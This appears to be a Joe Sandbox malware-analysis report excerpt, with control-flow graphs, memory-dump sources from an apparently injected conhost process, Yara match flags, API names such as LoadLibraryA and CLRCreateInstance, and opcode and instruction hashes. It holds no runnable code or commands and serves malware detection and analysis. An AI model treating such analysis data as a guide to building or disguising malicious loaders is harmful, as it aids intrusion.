54->60 55->54 58->54 63 25c641147fd-25c64114805 59->63 64 25c64114727-25c64114749 59->64 66 25c641146ee call 25c641136a2 60->66 61->10 62->61 68 25c64114857-25c6411485d call 25c64114d0e 63->68 69 25c64114807-25c6411480d 63->69 64->30 77 25c6411474f-25c64114769 call 25c64115c5e 64->77 67 25c641146f3-25c641146f5 66->67 70 25c64114704-25c64114707 call 25c641137ba 67->70 71 25c641146f7-25c641146fe 67->71 68->30 74 25c6411480f-25c64114815 69->74 75 25c64114824-25c64114836 call 25c641142b2 69->75 81 25c6411470c-25c6411470e 70->81 71->30 71->70 74->30 78 25c64114817-25c64114822 call 25c6411516a 74->78 84 25c64114848-25c64114855 call 25c64113d52 75->84 85 25c64114838-25c64114843 call 25c641148d6 75->85 91 25c64114789-25c641147b2 77->91 92 25c6411476b-25c6411476e 77->92 78->30 81->59 86 25c64114710-25c64114717 81->86 84->30 85->84 86->30 86->59 91->30 98 25c641147b8-25c641147f8 91->98 92->63 94 25c64114774-25c64114787 call 25c641159e2 92->94 99 25c641147fa-25c641147fb 94->99 98->30 98->99 99->63
                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 00000012.00000002.2234389210.0000025C64110000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025C64110000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_18_2_25c64110000_conhost.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: LibraryLoad
                                                                      • String ID:
                                                                      • API String ID: 1029625771-0
                                                                      • Opcode ID: e85963f26a05e09d368196b1c7f413e753b92ff7721d7fdd34470331445b4a6a
                                                                      • Instruction ID: 06dd389a55aa61ba1197bc911fa24185ae08b71bc9abe0878539891adebfc173
                                                                      • Opcode Fuzzy Hash: e85963f26a05e09d368196b1c7f413e753b92ff7721d7fdd34470331445b4a6a
                                                                      • Instruction Fuzzy Hash: 02C1A830310E05CFEB98EB298CD97B973D9FBD470AF240169D44AC718AEB30D942CA85
                                                                      Function 00007FFD344941A6 Relevance: .5, Instructions: 496COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 200 7ffd344941a6-7ffd344941b3 201 7ffd344941b5-7ffd344941bd 200->201 202 7ffd344941be-7ffd34494287 200->202 201->202 206 7ffd34494289-7ffd34494292 202->206 207 7ffd344942f3 202->207 206->207 209 7ffd34494294-7ffd344942a0 206->209 208 7ffd344942f5-7ffd3449431a 207->208 216 7ffd34494386 208->216 217 7ffd3449431c-7ffd34494325 208->217 210 7ffd344942d9-7ffd344942f1 209->210 211 7ffd344942a2-7ffd344942b4 209->211 210->208 212 7ffd344942b6 211->212 213 7ffd344942b8-7ffd344942cb 211->213 212->213 213->213 215 7ffd344942cd-7ffd344942d5 213->215 215->210 218 7ffd34494388-7ffd34494430 216->218 217->216 219 7ffd34494327-7ffd34494333 217->219 230 7ffd3449449e 218->230 231 7ffd34494432-7ffd3449443c 218->231 220 7ffd34494335-7ffd34494347 219->220 221 7ffd3449436c-7ffd34494384 219->221 223 7ffd34494349 220->223 224 7ffd3449434b-7ffd3449435e 220->224 221->218 223->224 224->224 226 7ffd34494360-7ffd34494368 224->226 226->221 232 7ffd344944a0-7ffd344944c9 230->232 231->230 233 7ffd3449443e-7ffd3449444b 231->233 239 7ffd344944cb-7ffd344944d6 232->239 240 7ffd34494533 232->240 234 7ffd3449444d-7ffd3449445f 233->234 235 7ffd34494484-7ffd3449449c 233->235 237 7ffd34494461 234->237 238 7ffd34494463-7ffd34494476 234->238 235->232 237->238 238->238 241 7ffd34494478-7ffd34494480 238->241 239->240 242 7ffd344944d8-7ffd344944e6 239->242 243 7ffd34494535-7ffd3449454d 240->243 241->235 244 7ffd344944e8-7ffd344944fa 242->244 245 7ffd3449451f-7ffd34494531 242->245 250 7ffd34494554-7ffd344945c6 243->250 246 7ffd344944fc 244->246 247 7ffd344944fe-7ffd34494511 244->247 245->243 246->247 247->247 249 7ffd34494513-7ffd3449451b 247->249 249->245 251 7ffd344945cc-7ffd344945db 250->251 252 7ffd344945dd 251->252 253 7ffd344945e3-7ffd34494688 call 7ffd34494664 251->253 252->253 261 7ffd3449468a-7ffd34494692 253->261 262 7ffd344946a0-7ffd344946a7 253->262 261->262 263 7ffd34494694-7ffd34494695 261->263 264 7ffd344946a9-7ffd344946b1 262->264 265 7ffd344946bf-7ffd344946c6 262->265 263->262 264->265 266 7ffd344946b3-7ffd344946b4 264->266 267 7ffd344946c8-7ffd344946d0 265->267 268 7ffd344946de-7ffd344946e5 265->268 266->265 267->268 269 7ffd344946d2-7ffd344946d3 267->269 270 7ffd344946e7-7ffd344946ef 268->270 271 7ffd344946fd-7ffd34494704 268->271 269->268 270->271 274 7ffd344946f1-7ffd344946f2 270->274 272 7ffd34494706-7ffd3449470e 271->272 273 7ffd3449471c-7ffd34494723 271->273 272->273 275 7ffd34494710-7ffd34494711 272->275 276 7ffd34494725-7ffd3449472d 273->276 277 7ffd3449473b-7ffd34494742 273->277 274->271 275->273 276->277 278 7ffd3449472f-7ffd34494730 276->278 279 7ffd34494754-7ffd34494765 277->279 280 7ffd34494744-7ffd34494749 277->280 278->277 280->279 281 7ffd3449474b-7ffd3449474c 280->281 281->279
                                                                      Memory Dump Source
                                                                      • Source File: 00000012.00000002.2238838263.00007FFD34490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34490000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_18_2_7ffd34490000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: b66ed88aac0cd53f4560203b14d1522446ff1e2ffcf42f376b179024936391ca
                                                                      • Instruction ID: 1d7cd23d6cefc52b926f5a0410be51971edda10f4a786a502f5ab8283a4d4ff6
                                                                      • Opcode Fuzzy Hash: b66ed88aac0cd53f4560203b14d1522446ff1e2ffcf42f376b179024936391ca
                                                                      • Instruction Fuzzy Hash: 34028030A0CA4E8FEBB8DF28D8A57E937D1FF55310F40427AD84DC7295CA78A9459B81
                                                                      Function 00007FFD34494F52 Relevance: .5, Instructions: 474COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 282 7ffd34494f52-7ffd34494f5f 283 7ffd34494f6a-7ffd34495037 282->283 284 7ffd34494f61-7ffd34494f69 282->284 288 7ffd34495039-7ffd34495042 283->288 289 7ffd344950a3 283->289 284->283 288->289 291 7ffd34495044-7ffd34495050 288->291 290 7ffd344950a5-7ffd344950ca 289->290 297 7ffd34495136 290->297 298 7ffd344950cc-7ffd344950d5 290->298 292 7ffd34495089-7ffd344950a1 291->292 293 7ffd34495052-7ffd34495064 291->293 292->290 294 7ffd34495066 293->294 295 7ffd34495068-7ffd3449507b 293->295 294->295 295->295 299 7ffd3449507d-7ffd34495085 295->299 301 7ffd34495138-7ffd3449515d 297->301 298->297 300 7ffd344950d7-7ffd344950e3 298->300 299->292 302 7ffd344950e5-7ffd344950f7 300->302 303 7ffd3449511c-7ffd34495134 300->303 308 7ffd344951cb 301->308 309 7ffd3449515f-7ffd34495169 301->309 304 7ffd344950f9 302->304 305 7ffd344950fb-7ffd3449510e 302->305 303->301 304->305 305->305 307 7ffd34495110-7ffd34495118 305->307 307->303 310 7ffd344951cd-7ffd344951fb 308->310 309->308 311 7ffd3449516b-7ffd34495178 309->311 317 7ffd3449526b 310->317 318 7ffd344951fd-7ffd34495208 310->318 312 7ffd3449517a-7ffd3449518c 311->312 313 7ffd344951b1-7ffd344951c9 311->313 315 7ffd3449518e 312->315 316 7ffd34495190-7ffd344951a3 312->316 313->310 315->316 316->316 319 7ffd344951a5-7ffd344951ad 316->319 321 7ffd3449526d-7ffd344952d8 317->321 318->317 320 7ffd3449520a-7ffd34495218 318->320 319->313 322 7ffd3449521a-7ffd3449522c 320->322 323 7ffd34495251-7ffd34495269 320->323 330 7ffd344952df-7ffd34495345 321->330 324 7ffd3449522e 322->324 325 7ffd34495230-7ffd34495243 322->325 323->321 324->325 325->325 327 7ffd34495245-7ffd3449524d 325->327 327->323 331 7ffd3449534b-7ffd3449535a 330->331 332 7ffd3449535c 331->332 333 7ffd34495362-7ffd34495404 call 7ffd344953e0 331->333 332->333 341 7ffd34495406-7ffd3449540e 333->341 342 7ffd3449541c-7ffd34495423 333->342 341->342 343 7ffd34495410-7ffd34495411 341->343 344 7ffd34495425-7ffd3449542d 342->344 345 7ffd3449543b-7ffd34495442 342->345 343->342 344->345 346 7ffd3449542f-7ffd34495430 344->346 347 7ffd3449545a-7ffd34495461 345->347 348 7ffd34495444-7ffd3449544c 345->348 346->345 350 7ffd34495479-7ffd34495480 347->350 351 7ffd34495463-7ffd3449546b 347->351 348->347 349 7ffd3449544e-7ffd3449544f 348->349 349->347 352 7ffd34495498-7ffd3449549f 350->352 353 7ffd34495482-7ffd3449548a 350->353 351->350 354 7ffd3449546d-7ffd3449546e 351->354 356 7ffd344954b1-7ffd344954c2 352->356 357 7ffd344954a1-7ffd344954a6 352->357 353->352 355 7ffd3449548c-7ffd3449548d 353->355 354->350 355->352 357->356 358 7ffd344954a8-7ffd344954a9 357->358 358->356
                                                                      Memory Dump Source
                                                                      • Source File: 00000012.00000002.2238838263.00007FFD34490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34490000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_18_2_7ffd34490000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: f24fbe7933d17d4906ca3b6603e5a6776a27588242b6d8e1cca4241cb656b0a3
                                                                      • Instruction ID: 3934a51aa5b81f35a3679f6e48535a96d3b88a009689b6498959516e52b17e6e
                                                                      • Opcode Fuzzy Hash: f24fbe7933d17d4906ca3b6603e5a6776a27588242b6d8e1cca4241cb656b0a3
                                                                      • Instruction Fuzzy Hash: A2F1B531A0CA4E8FEBA8DF28C8A67E937D1FF55311F14423AD84DC7295CE78A5449B81
                                                                      Function 0000025C641142B2 Relevance: 1.7, APIs: 1, Instructions: 235COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 101 25c641142b2-25c641142ec 102 25c641142f2-25c64114305 CLRCreateInstance 101->102 103 25c641144f5-25c641144f7 101->103 104 25c641144d1-25c641144d2 102->104 105 25c6411430b-25c64114345 102->105 106 25c641144fd-25c64114503 103->106 107 25c64114392-25c6411439e 103->107 108 25c641144d4-25c641144ed 104->108 116 25c64114387-25c64114388 105->116 117 25c64114347-25c6411435a 105->117 109 25c641144b5-25c641144d0 106->109 112 25c641144b2-25c641144b3 107->112 113 25c641143a4-25c641143f3 107->113 108->103 112->109 113->112 126 25c641143f9-25c6411440f 113->126 118 25c6411438a-25c6411438c 116->118 117->108 121 25c64114360-25c64114368 117->121 118->107 118->108 121->118 123 25c6411436a-25c64114380 121->123 125 25c64114385 123->125 125->118 126->112 128 25c64114415-25c64114446 126->128 128->112 130 25c64114448-25c64114454 128->130 131 25c64114456-25c64114469 130->131 132 25c6411446b-25c64114477 130->132 131->131 131->132 133 25c6411447f-25c64114491 132->133 134 25c64114493-25c641144a7 133->134 135 25c641144a9-25c641144aa 133->135 134->134 134->135 135->112
                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 00000012.00000002.2234389210.0000025C64110000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025C64110000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_18_2_25c64110000_conhost.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: CreateInstance
                                                                      • String ID:
                                                                      • API String ID: 542301482-0
                                                                      • Opcode ID: e3a29ec6c90617ad7c1928cbae39db72877cdd96e7781ee4f5e73e7a13d7ce10
                                                                      • Instruction ID: a1c7360643772e70b3036505f0f07c418a0bd42f47a7ae69803d83de0625210b
                                                                      • Opcode Fuzzy Hash: e3a29ec6c90617ad7c1928cbae39db72877cdd96e7781ee4f5e73e7a13d7ce10
                                                                      • Instruction Fuzzy Hash: 9D818130208F088FD768EF28C8C8BA6B7E5FF99306F104A6DD49BC7555EA31E6458B45
                                                                      Function 0000025C641137BA Relevance: 1.6, APIs: 1, Instructions: 125libraryCOMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 136 25c641137ba-25c641137dd LoadLibraryA 137 25c641137df-25c641137e4 136->137 138 25c641137e9-25c641137fc 136->138 139 25c641138c0-25c641138d0 137->139 141 25c641138be 138->141 142 25c64113802-25c64113813 138->142 141->139 142->141 143 25c64113819-25c64113831 142->143 143->141 145 25c64113837-25c6411386b call 25c64115c5e 143->145 145->141 150 25c6411386d-25c6411387e 145->150 150->141 151 25c64113880-25c64113897 150->151 151->141 153 25c64113899-25c641138b9 call 25c64115c5e 151->153 153->137
                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 00000012.00000002.2234389210.0000025C64110000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025C64110000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_18_2_25c64110000_conhost.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: LibraryLoad
                                                                      • String ID:
                                                                      • API String ID: 1029625771-0
                                                                      • Opcode ID: f89ad9e96b35fafe6bd70e564392d15cd00fb15afb359a287abc9c565ef81a9a
                                                                      • Instruction ID: 1d3f30559d4f359e7d3009b2cd18481c857041369a531b017857e1c62e67de2e
                                                                      • Opcode Fuzzy Hash: f89ad9e96b35fafe6bd70e564392d15cd00fb15afb359a287abc9c565ef81a9a
                                                                      • Instruction Fuzzy Hash: BD31863130CE198FEB58AB59AC8926973D9E7D4311F101159EC4BC318EE974EE0647C6
                                                                      Function 0000025C641136AF Relevance: 1.6, APIs: 1, Instructions: 115libraryCOMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 157 25c641136af-25c641136c5 LoadLibraryA 158 25c641136d1-25c641136e4 157->158 159 25c641136c7-25c641136cc 157->159 162 25c641137a6 158->162 163 25c641136ea-25c641136fb 158->163 160 25c641137a8-25c641137b8 159->160 162->160 163->162 164 25c64113701-25c64113719 163->164 164->162 166 25c6411371f-25c64113753 call 25c64115c5e 164->166 166->162 171 25c64113755-25c64113766 166->171 171->162 172 25c64113768-25c6411377f 171->172 172->162 174 25c64113781-25c641137a1 call 25c64115c5e 172->174 174->159
                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 00000012.00000002.2234389210.0000025C64110000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025C64110000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_18_2_25c64110000_conhost.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: LibraryLoad
                                                                      • String ID:
                                                                      • API String ID: 1029625771-0
                                                                      • Opcode ID: f58acd79c9a8aa4a66f57679936c769f9dd2a38ea99c88ea39cd659f90fbd764
                                                                      • Instruction ID: 664313f12e90fdd85a40cf594b69af753f205e7087a10c42d6309d4ac9e3c575
                                                                      • Opcode Fuzzy Hash: f58acd79c9a8aa4a66f57679936c769f9dd2a38ea99c88ea39cd659f90fbd764
                                                                      • Instruction Fuzzy Hash: E131703130CE088FEB54AA5898D976A73DAE7D8321F140259DC4BC72CDED74DA468785
                                                                      Function 0000025C641136A2 Relevance: 1.5, APIs: 1, Instructions: 35libraryCOMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 178 25c641136a2-25c641136c5 LoadLibraryA 180 25c641136d1-25c641136e4 178->180 181 25c641136c7-25c641136cc 178->181 184 25c641137a6 180->184 185 25c641136ea-25c641136fb 180->185 182 25c641137a8-25c641137b8 181->182 184->182 185->184 186 25c64113701-25c64113719 185->186 186->184 188 25c6411371f-25c64113753 call 25c64115c5e 186->188 188->184 193 25c64113755-25c64113766 188->193 193->184 194 25c64113768-25c6411377f 193->194 194->184 196 25c64113781-25c641137a1 call 25c64115c5e 194->196 196->181
                                                                      APIs
                                                                      Memory Dump Source
                                                                      • Source File: 00000012.00000002.2234389210.0000025C64110000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000025C64110000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_18_2_25c64110000_conhost.jbxd
                                                                      Yara matches
                                                                      Similarity
                                                                      • API ID: LibraryLoad
                                                                      • String ID:
                                                                      • API String ID: 1029625771-0
                                                                      • Opcode ID: 18f38e2fc847854b46ad59a886f9863d7abffa86fceba1a0e453a632ae2104e0
                                                                      • Instruction ID: 7bc1b29e34e87ee2600d7c187b63ca5e12504823dbda99ce74eba9d27fe89f79
                                                                      • Opcode Fuzzy Hash: 18f38e2fc847854b46ad59a886f9863d7abffa86fceba1a0e453a632ae2104e0
                                                                      • Instruction Fuzzy Hash: 30E0D83120CF0D5FF758969DDCCE7B67ADCD795272F10002EE549C2205F06599924391
                                                                      Function 00007FFD34494221 Relevance: .5, Instructions: 466COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 359 7ffd34494221-7ffd34494287 363 7ffd34494289-7ffd34494292 359->363 364 7ffd344942f3 359->364 363->364 366 7ffd34494294-7ffd344942a0 363->366 365 7ffd344942f5-7ffd3449431a 364->365 373 7ffd34494386 365->373 374 7ffd3449431c-7ffd34494325 365->374 367 7ffd344942d9-7ffd344942f1 366->367 368 7ffd344942a2-7ffd344942b4 366->368 367->365 369 7ffd344942b6 368->369 370 7ffd344942b8-7ffd344942cb 368->370 369->370 370->370 372 7ffd344942cd-7ffd344942d5 370->372 372->367 375 7ffd34494388-7ffd34494430 373->375 374->373 376 7ffd34494327-7ffd34494333 374->376 387 7ffd3449449e 375->387 388 7ffd34494432-7ffd3449443c 375->388 377 7ffd34494335-7ffd34494347 376->377 378 7ffd3449436c-7ffd34494384 376->378 380 7ffd34494349 377->380 381 7ffd3449434b-7ffd3449435e 377->381 378->375 380->381 381->381 383 7ffd34494360-7ffd34494368 381->383 383->378 389 7ffd344944a0-7ffd344944c9 387->389 388->387 390 7ffd3449443e-7ffd3449444b 388->390 396 7ffd344944cb-7ffd344944d6 389->396 397 7ffd34494533 389->397 391 7ffd3449444d-7ffd3449445f 390->391 392 7ffd34494484-7ffd3449449c 390->392 394 7ffd34494461 391->394 395 7ffd34494463-7ffd34494476 391->395 392->389 394->395 395->395 398 7ffd34494478-7ffd34494480 395->398 396->397 399 7ffd344944d8-7ffd344944e6 396->399 400 7ffd34494535-7ffd344945c6 397->400 398->392 401 7ffd344944e8-7ffd344944fa 399->401 402 7ffd3449451f-7ffd34494531 399->402 408 7ffd344945cc-7ffd344945db 400->408 403 7ffd344944fc 401->403 404 7ffd344944fe-7ffd34494511 401->404 402->400 403->404 404->404 406 7ffd34494513-7ffd3449451b 404->406 406->402 409 7ffd344945dd 408->409 410 7ffd344945e3-7ffd34494688 call 7ffd34494664 408->410 409->410 418 7ffd3449468a-7ffd34494692 410->418 419 7ffd344946a0-7ffd344946a7 410->419 418->419 420 7ffd34494694-7ffd34494695 418->420 421 7ffd344946a9-7ffd344946b1 419->421 422 7ffd344946bf-7ffd344946c6 419->422 420->419 421->422 423 7ffd344946b3-7ffd344946b4 421->423 424 7ffd344946c8-7ffd344946d0 422->424 425 7ffd344946de-7ffd344946e5 422->425 423->422 424->425 426 7ffd344946d2-7ffd344946d3 424->426 427 7ffd344946e7-7ffd344946ef 425->427 428 7ffd344946fd-7ffd34494704 425->428 426->425 427->428 431 7ffd344946f1-7ffd344946f2 427->431 429 7ffd34494706-7ffd3449470e 428->429 430 7ffd3449471c-7ffd34494723 428->430 429->430 432 7ffd34494710-7ffd34494711 429->432 433 7ffd34494725-7ffd3449472d 430->433 434 7ffd3449473b-7ffd34494742 430->434 431->428 432->430 433->434 435 7ffd3449472f-7ffd34494730 433->435 436 7ffd34494754-7ffd34494765 434->436 437 7ffd34494744-7ffd34494749 434->437 435->434 437->436 438 7ffd3449474b-7ffd3449474c 437->438 438->436
                                                                      Memory Dump Source
                                                                      • Source File: 00000012.00000002.2238838263.00007FFD34490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34490000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_18_2_7ffd34490000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 5c6b6f3f7ac84e191f040bdd920f1d25dfd833a21cfa7a28f35f3ab7b8cbb9c8
                                                                      • Instruction ID: dfcc1a772648001c3220e7455129da6a5ee1a38952669f7c9456ba7ddc994fb0
                                                                      • Opcode Fuzzy Hash: 5c6b6f3f7ac84e191f040bdd920f1d25dfd833a21cfa7a28f35f3ab7b8cbb9c8
                                                                      • Instruction Fuzzy Hash: 7AF15E30A1CA4E8FEBB8DF28D8A57E977D1FB55310F40427AD80DC7295CB78A9449B81
                                                                      Function 00007FFD34494FD1 Relevance: .4, Instructions: 441COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      • Executed
                                                                      • Not Executed
                                                                      control_flow_graph 439 7ffd34494fd1-7ffd34495037 443 7ffd34495039-7ffd34495042 439->443 444 7ffd344950a3 439->444 443->444 446 7ffd34495044-7ffd34495050 443->446 445 7ffd344950a5-7ffd344950ca 444->445 452 7ffd34495136 445->452 453 7ffd344950cc-7ffd344950d5 445->453 447 7ffd34495089-7ffd344950a1 446->447 448 7ffd34495052-7ffd34495064 446->448 447->445 449 7ffd34495066 448->449 450 7ffd34495068-7ffd3449507b 448->450 449->450 450->450 454 7ffd3449507d-7ffd34495085 450->454 456 7ffd34495138-7ffd3449515d 452->456 453->452 455 7ffd344950d7-7ffd344950e3 453->455 454->447 457 7ffd344950e5-7ffd344950f7 455->457 458 7ffd3449511c-7ffd34495134 455->458 463 7ffd344951cb 456->463 464 7ffd3449515f-7ffd34495169 456->464 459 7ffd344950f9 457->459 460 7ffd344950fb-7ffd3449510e 457->460 458->456 459->460 460->460 462 7ffd34495110-7ffd34495118 460->462 462->458 465 7ffd344951cd-7ffd344951fb 463->465 464->463 466 7ffd3449516b-7ffd34495178 464->466 472 7ffd3449526b 465->472 473 7ffd344951fd-7ffd34495208 465->473 467 7ffd3449517a-7ffd3449518c 466->467 468 7ffd344951b1-7ffd344951c9 466->468 470 7ffd3449518e 467->470 471 7ffd34495190-7ffd344951a3 467->471 468->465 470->471 471->471 474 7ffd344951a5-7ffd344951ad 471->474 476 7ffd3449526d-7ffd34495345 472->476 473->472 475 7ffd3449520a-7ffd34495218 473->475 474->468 477 7ffd3449521a-7ffd3449522c 475->477 478 7ffd34495251-7ffd34495269 475->478 486 7ffd3449534b-7ffd3449535a 476->486 479 7ffd3449522e 477->479 480 7ffd34495230-7ffd34495243 477->480 478->476 479->480 480->480 482 7ffd34495245-7ffd3449524d 480->482 482->478 487 7ffd3449535c 486->487 488 7ffd34495362-7ffd34495404 call 7ffd344953e0 486->488 487->488 496 7ffd34495406-7ffd3449540e 488->496 497 7ffd3449541c-7ffd34495423 488->497 496->497 498 7ffd34495410-7ffd34495411 496->498 499 7ffd34495425-7ffd3449542d 497->499 500 7ffd3449543b-7ffd34495442 497->500 498->497 499->500 501 7ffd3449542f-7ffd34495430 499->501 502 7ffd3449545a-7ffd34495461 500->502 503 7ffd34495444-7ffd3449544c 500->503 501->500 505 7ffd34495479-7ffd34495480 502->505 506 7ffd34495463-7ffd3449546b 502->506 503->502 504 7ffd3449544e-7ffd3449544f 503->504 504->502 507 7ffd34495498-7ffd3449549f 505->507 508 7ffd34495482-7ffd3449548a 505->508 506->505 509 7ffd3449546d-7ffd3449546e 506->509 511 7ffd344954b1-7ffd344954c2 507->511 512 7ffd344954a1-7ffd344954a6 507->512 508->507 510 7ffd3449548c-7ffd3449548d 508->510 509->505 510->507 512->511 513 7ffd344954a8-7ffd344954a9 512->513 513->511
                                                                      Memory Dump Source
                                                                      • Source File: 00000012.00000002.2238838263.00007FFD34490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34490000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_18_2_7ffd34490000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: a2f86050a7f5824669d822c13c0aa18913eda3e6b3a520b473c97321a48845c0
                                                                      • Instruction ID: df858601308307c74ba0ad7f8660194c964fe91f5078dd799268a06e7be66226
                                                                      • Opcode Fuzzy Hash: a2f86050a7f5824669d822c13c0aa18913eda3e6b3a520b473c97321a48845c0
                                                                      • Instruction Fuzzy Hash: 48E19231A18A4D8FEBA8DF18C8A67F977D1FB55301F50423AD80DC7295CE78A9449B81
                                                                      Function 00007FFD34490580 Relevance: .3, Instructions: 267COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      Memory Dump Source
                                                                      • Source File: 00000012.00000002.2238838263.00007FFD34490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34490000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_18_2_7ffd34490000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 98729229ec7d0586896562185cf89e444965ae19d5d8bc64b72a172a5c78609c
                                                                      • Instruction ID: e85062334f3f7f400471b1a7b4320d386f3a70f01186d39ccded84216f445d55
                                                                      • Opcode Fuzzy Hash: 98729229ec7d0586896562185cf89e444965ae19d5d8bc64b72a172a5c78609c
                                                                      • Instruction Fuzzy Hash: D871D671B1DA484FEB54EB6C986A6F9B7D1EF99310F04017DE48EC3293DE68AC028745
                                                                      Function 00007FFD34490561 Relevance: .3, Instructions: 257COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      Memory Dump Source
                                                                      • Source File: 00000012.00000002.2238838263.00007FFD34490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34490000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_18_2_7ffd34490000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 60efc2b4b88c59a1a5eae049b0d399d95085be0ed7efeb331e5ccb1cb18afa24
                                                                      • Instruction ID: 8e750d2988bfa44ff85eb0212e4675db3d6a1a7b95dd57960275984cad5fcb45
                                                                      • Opcode Fuzzy Hash: 60efc2b4b88c59a1a5eae049b0d399d95085be0ed7efeb331e5ccb1cb18afa24
                                                                      • Instruction Fuzzy Hash: 6071DA71B0DA494FEB54EB6C986A6F977D1EF9A310F04017DE48EC3293CE68AC429741
                                                                      Function 00007FFD34490A32 Relevance: .2, Instructions: 220COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      Memory Dump Source
                                                                      • Source File: 00000012.00000002.2238838263.00007FFD34490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34490000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_18_2_7ffd34490000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: 20bfb4c96dc475055d93c4ee2f8459a02a7866789cceb594f8e8f65d1ef0086b
                                                                      • Instruction ID: 435c7df1bd63e8d08b9b89c8585df4c8986db80b23363843586a576d67e6c237
                                                                      • Opcode Fuzzy Hash: 20bfb4c96dc475055d93c4ee2f8459a02a7866789cceb594f8e8f65d1ef0086b
                                                                      • Instruction Fuzzy Hash: 44613931B0D6490FE7A4EB6890BA3F977E1EF46310F4005BAD549D72E6DE6C6841E381
                                                                      Function 00007FFD344903FD Relevance: .1, Instructions: 124COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      Memory Dump Source
                                                                      • Source File: 00000012.00000002.2238838263.00007FFD34490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34490000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_18_2_7ffd34490000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
                                                                      • String ID:
                                                                      • API String ID:
                                                                      • Opcode ID: d3738a7e5468849a12fde2e308ab4828706994cc4f6ae3fb25323928add298ec
                                                                      • Instruction ID: 85240bad39342a103b2badcb0f26742fec33b70680aa7ee2b6684b2151cad9db
                                                                      • Opcode Fuzzy Hash: d3738a7e5468849a12fde2e308ab4828706994cc4f6ae3fb25323928add298ec
                                                                      • Instruction Fuzzy Hash: 73412782B0E9C69FF765576C08BA1B97FA0FF63214B0A01BBC5A8C70D7DD486855A341
                                                                      Function 00007FFD34490929 Relevance: .1, Instructions: 106COMMON
                                                                      Download Yara Rule

                                                                      Control-flow Graph

                                                                      Memory Dump Source
                                                                      • Source File: 00000012.00000002.2238838263.00007FFD34490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34490000, based on PE: false
                                                                      Joe Sandbox IDA Plugin
                                                                      • Snapshot File: hcaresult_18_2_7ffd34490000_conhost.jbxd
                                                                      Similarity
                                                                      • API ID:
